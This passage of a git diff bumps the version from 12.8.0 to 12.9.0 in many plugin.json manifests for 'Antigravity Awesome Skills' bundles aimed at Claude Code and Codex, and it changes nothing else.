b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-devops-cloud/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-devops-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS DevOps & Cloud\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-devops-cloud/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-devops-cloud/.codex-plugin/plugin.json index 5c81f998..ec456a43 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-devops-cloud/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-devops-cloud/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-devops-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS DevOps & Cloud\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-documents-presentations/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-documents-presentations/.claude-plugin/plugin.json index e63138e9..f135cd2f 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-documents-presentations/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-documents-presentations/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-documents-presentations", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Documents & Presentations\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-documents-presentations/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-documents-presentations/.codex-plugin/plugin.json index 114bda30..573f94f7 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-documents-presentations/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-documents-presentations/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-documents-presentations", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Documents & Presentations\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-marketing-seo-growth/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-marketing-seo-growth/.claude-plugin/plugin.json index 19ac855a..c6aa41c2 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-marketing-seo-growth/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-marketing-seo-growth/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-marketing-seo-growth", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Marketing, SEO & Growth\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-marketing-seo-growth/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-marketing-seo-growth/.codex-plugin/plugin.json index bb63ac53..5e86954a 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-marketing-seo-growth/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-marketing-seo-growth/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-marketing-seo-growth", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Marketing, SEO & Growth\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-mobile-app-builder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-mobile-app-builder/.claude-plugin/plugin.json index 98c56a3e..7bde9be0 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-mobile-app-builder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-mobile-app-builder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-mobile-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Mobile App Builder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-mobile-app-builder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-mobile-app-builder/.codex-plugin/plugin.json index 60649c79..972c11c6 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-mobile-app-builder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-mobile-app-builder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-mobile-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Mobile App Builder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-observability-ir/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-observability-ir/.claude-plugin/plugin.json index c68774bd..c951a346 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-observability-ir/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-observability-ir/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-observability-ir", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Observability IR\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-observability-ir/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-observability-ir/.codex-plugin/plugin.json index 9f38bb91..5dc1945b 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-observability-ir/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-observability-ir/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-observability-ir", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Observability IR\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-oss-maintainer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-oss-maintainer/.claude-plugin/plugin.json index 1059b0d4..955bc7ae 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-oss-maintainer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-oss-maintainer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-oss-maintainer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS OSS Maintainer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-oss-maintainer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-oss-maintainer/.codex-plugin/plugin.json index 1b85a0aa..9080b013 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-oss-maintainer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-oss-maintainer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-oss-maintainer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS OSS Maintainer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-product-design-studio/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-product-design-studio/.claude-plugin/plugin.json index 921780dd..4fd8462a 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-product-design-studio/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-product-design-studio/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-product-design-studio", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Product Design Studio\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-product-design-studio/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-product-design-studio/.codex-plugin/plugin.json index 36109899..1b41b3cc 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-product-design-studio/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-product-design-studio/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-product-design-studio", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Product Design Studio\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-python-api-builder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-python-api-builder/.claude-plugin/plugin.json index d77121f6..65519f66 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-python-api-builder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-python-api-builder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-python-api-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Python API Builder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-python-api-builder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-python-api-builder/.codex-plugin/plugin.json index 799faff3..3057c3be 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-python-api-builder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-python-api-builder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-python-api-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Python API Builder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-qa-test-automation/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-qa-test-automation/.claude-plugin/plugin.json index b34c3cc8..c62b5fae 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-qa-test-automation/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-qa-test-automation/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-qa-test-automation", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS QA & Test Automation\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-qa-test-automation/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-qa-test-automation/.codex-plugin/plugin.json index 2b274573..57ca6479 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-qa-test-automation/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-qa-test-automation/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-qa-test-automation", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS QA & Test Automation\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-secure-app-builder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-secure-app-builder/.claude-plugin/plugin.json index ff32a013..76496487 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-secure-app-builder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-secure-app-builder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-secure-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Secure App Builder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-secure-app-builder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-secure-app-builder/.codex-plugin/plugin.json index e2d2192e..9cdcfe71 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-secure-app-builder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-secure-app-builder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-secure-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Secure App Builder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-security-engineer/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-security-engineer/.claude-plugin/plugin.json index 5c9118ad..17117bed 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-security-engineer/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-security-engineer/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-security-engineer", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Security Engineer\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-security-engineer/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-security-engineer/.codex-plugin/plugin.json index 959b6371..8bdc78c7 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-security-engineer/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-security-engineer/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-security-engineer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Security Engineer\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-web-app-builder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-web-app-builder/.claude-plugin/plugin.json index 807e8a3f..5062d9d6 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-web-app-builder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-web-app-builder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-web-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Web App Builder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-web-app-builder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-web-app-builder/.codex-plugin/plugin.json index 5b7d9a2f..188100ae 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-web-app-builder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-web-app-builder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-web-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Web App Builder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-agent-architect/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-agent-architect/.claude-plugin/plugin.json index d13276ed..422e6517 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-agent-architect/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-agent-architect/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-agent-architect", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Agent Architect\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-agent-architect/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-agent-architect/.codex-plugin/plugin.json index 9aec5689..8f4a5f6e 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-agent-architect/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-agent-architect/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-agent-architect", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Agent Architect\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-apple-platform-design/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-apple-platform-design/.claude-plugin/plugin.json index a98b7b2d..209793b4 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-apple-platform-design/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-apple-platform-design/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-apple-platform-design", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Apple Platform Design\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-apple-platform-design/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-apple-platform-design/.codex-plugin/plugin.json index a025fa26..167b28b6 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-apple-platform-design/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-apple-platform-design/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-apple-platform-design", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Apple Platform Design\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-architecture-design/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-architecture-design/.claude-plugin/plugin.json index e485d5e1..09632b29 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-architecture-design/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-architecture-design/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-architecture-design", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Architecture & Design\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-architecture-design/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-architecture-design/.codex-plugin/plugin.json index 70c7e4e9..9ebac2fd 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-architecture-design/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-architecture-design/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-architecture-design", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Architecture & Design\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-automation-builder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-automation-builder/.claude-plugin/plugin.json index d63ce788..be615492 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-automation-builder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-automation-builder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-automation-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Automation Builder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-automation-builder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-automation-builder/.codex-plugin/plugin.json index 7f34fbb6..ae797e8f 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-automation-builder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-automation-builder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-automation-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Automation Builder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-azure-ai-cloud/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-azure-ai-cloud/.claude-plugin/plugin.json index fb23d023..939f12dc 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-azure-ai-cloud/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-azure-ai-cloud/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-azure-ai-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Azure AI & Cloud\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-azure-ai-cloud/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-azure-ai-cloud/.codex-plugin/plugin.json index 502256eb..cf973738 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-azure-ai-cloud/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-azure-ai-cloud/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-azure-ai-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Azure AI & Cloud\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-business-analyst/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-business-analyst/.claude-plugin/plugin.json index 8140d014..5124731d 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-business-analyst/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-business-analyst/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-business-analyst", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Business Analyst\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-business-analyst/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-business-analyst/.codex-plugin/plugin.json index 32142679..1170312b 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-business-analyst/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-business-analyst/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-business-analyst", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Business Analyst\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-commerce-payments/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-commerce-payments/.claude-plugin/plugin.json index cc4ba75d..84b72594 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-commerce-payments/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-commerce-payments/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-commerce-payments", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Commerce & Payments\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-commerce-payments/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-commerce-payments/.codex-plugin/plugin.json index f10293a6..fa9bdedf 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-commerce-payments/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-commerce-payments/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-commerce-payments", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Commerce & Payments\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-creative-director/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-creative-director/.claude-plugin/plugin.json index 5262bfb2..338d3c03 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-creative-director/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-creative-director/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-creative-director", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Creative Director\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-creative-director/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-creative-director/.codex-plugin/plugin.json index bdf1fdae..78259582 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-creative-director/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-creative-director/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-creative-director", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Creative Director\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-data-analytics/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-data-analytics/.claude-plugin/plugin.json index 751082ef..48321c38 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-data-analytics/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-data-analytics/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-data-analytics", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Data & Analytics\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-data-analytics/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-data-analytics/.codex-plugin/plugin.json index ed724756..56c712b8 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-data-analytics/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-data-analytics/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-data-analytics", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Data & Analytics\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-data-engineering/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-data-engineering/.claude-plugin/plugin.json index 467bffe5..39ae15be 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-data-engineering/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-data-engineering/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-data-engineering", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"Data Engineering\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-data-engineering/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-data-engineering/.codex-plugin/plugin.json index 1069301c..25288016 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-data-engineering/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-data-engineering/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-data-engineering", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Data Engineering\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-ddd-evented-architecture/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-ddd-evented-architecture/.claude-plugin/plugin.json index bcb306b4..44bdab9f 100644 --- 